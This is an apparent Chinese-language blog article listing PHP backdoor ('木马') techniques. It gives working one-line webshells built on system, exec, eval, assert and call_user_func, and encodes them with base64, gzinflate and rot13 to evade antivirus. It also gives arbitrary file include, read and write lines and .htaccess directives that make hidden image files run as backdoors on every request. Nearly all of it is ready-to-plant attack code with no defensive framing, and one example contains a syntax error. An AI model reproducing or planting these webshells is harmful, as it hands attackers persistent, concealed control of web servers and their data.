php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?
 
php后门木马常用的函数大致上可分为四种类型:
 
1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
 
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
 
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
 
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
 
1. 执行系统命令:
 
system 函数
 
//test.php?cmd=ls
 
system($_GET[cmd]);
 
passthru 函数
 
//test.php?cmd=ls
 
passthru($_GET[cmd]);
 
shell_exec 函数
 
//test.php?cmd=ls
 
echo shell_exec($_GET[cmd]);
 
exec 函数
 
//test.php?cmd=ls
 
$arr = array();
 
exec($_GET[cmd],$arr);
 
print_r($arr);
 
popen 函数
 
//test.php?cmd=ls
 
$handle = popen('$_GET[cmd], 'r');
 
$read = fread($handle, 2096);
 
echo $read;
 
pclose($handle);
 
proc_open 函数
 
//test.php?cmd=ls
 
$descriptorspec = array(
 
       0 => array('pipe', 'r'),
 
       1 => array('pipe', 'w'),
 
       2 => array('pipe', 'w'),
 
    );
 
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
 
fclose($pipes[0]);
 
$output = array();
 
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
 
print_r($output);
 
2. 代码执行与加密:
 
eval 函数
 
//最常见的一句话木马
 
eval($_POST[cmd]);
 
base64_decode 函数
 
//为了免杀及隐藏而加密代码
 
//密文: eval($_POST['cmd']);
 
eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));
 
gzinflate 函数
 
//为了免杀及隐藏而加密代码
 
//密文: eval($_POST['cmd']);
 
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));
 
gzuncompress 函数
 
//为了免杀及隐藏而加密代码
 
//密文: eval($_POST['cmd']);
 
eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));
 
gzdecode 函数
 
//为了免杀及隐藏而加密代码
 
//密文: eval($_POST['cmd']);
 
eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));
 
str_rot13 函数
 
//为了免杀及隐藏而加密代码
 
//密文: eval($_POST[cmd]);
 
eval(str_rot13('riny($_CBFG[pzq]);'));
 
assert 函数
 
//类似eval函数
 
assert($_POST[cmd]);
 
call_user_func 函数
 
//使用call_user_func调用assert
 
call_user_func('assert',$_POST[cmd]);
 
call_user_func 函数
 
//使用call_user_func调用任意函数
 
//test.php?a=assert&cmd=phpinfo()
 
call_user_func($_GET[a],$_REQUEST[cmd]);
 
组合代码
 
//组合方式调用任意函数
 
//test.php?a=assert&cmd=phpinfo()
 
$_GET[a]($_REQUEST[cmd]);
 
3. 文件包含与生成:
 
require 函数
 
//包含任意文件
 
//test.php?file=123.jpg
 
require($_GET[file]);
 
require_once 函数
 
//包含任意文件
 
//test.php?file=123.jpg
 
require_once($_GET[file]);
 
include 函数
 
//包含任意文件
 
//test.php?file=123.jpg
 
include($_GET[file]);
 
include_once 函数
 
//包含任意文件
 
//test.php?file=123.jpg
 
include_once($_GET[file]);
 
file_get_contents 函数
 
//读取任意文件
 
//test.php?f=config.inc.php
 
echo file_get_contents($_GET['f']);
 
file_put_contents 函数
 
//生成任意内容文件
 
//a=test.php&b=<?php eval($_POST[cmd]);?>
 
file_put_contents($_GET[a],$_GET[b]);
 
fputs 函数
 
//生成任意内容文件
 
//a=test.php&b=<?php eval($_POST[cmd]);?>
 
fputs(fopen($_GET[a],"w"),$_GET[b]);
 
4. .htaccess:
 
SetHandler
 
//可将php代码存于非php后缀文件,例: x.jpg
 
//将以下代码写入.htaccess中
 
//连接x.jpg即可启动后门木马
 
<FilesMatch "x.jpg">
 
SetHandler application/x-httpd-php
 
</FilesMatch>
 
auto_prepend_file
 
//可将php代码存于非php后缀文件,例: 123.gif
 
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
 
//访问网站上任何php文件都会启动该php后门木马
 
//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马
 
php_value auto_prepend_file c:/apache2/htdocs/123.gif
 
auto_append_file
 
//类似auto_prepend_file
 
//可将php代码存于非php后缀文件,例: 123.gif
 
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
 
//访问网站上任何php文件都会启动该php后门木马
 
php_value auto_append_file c:/apache2/htdocs/123.gif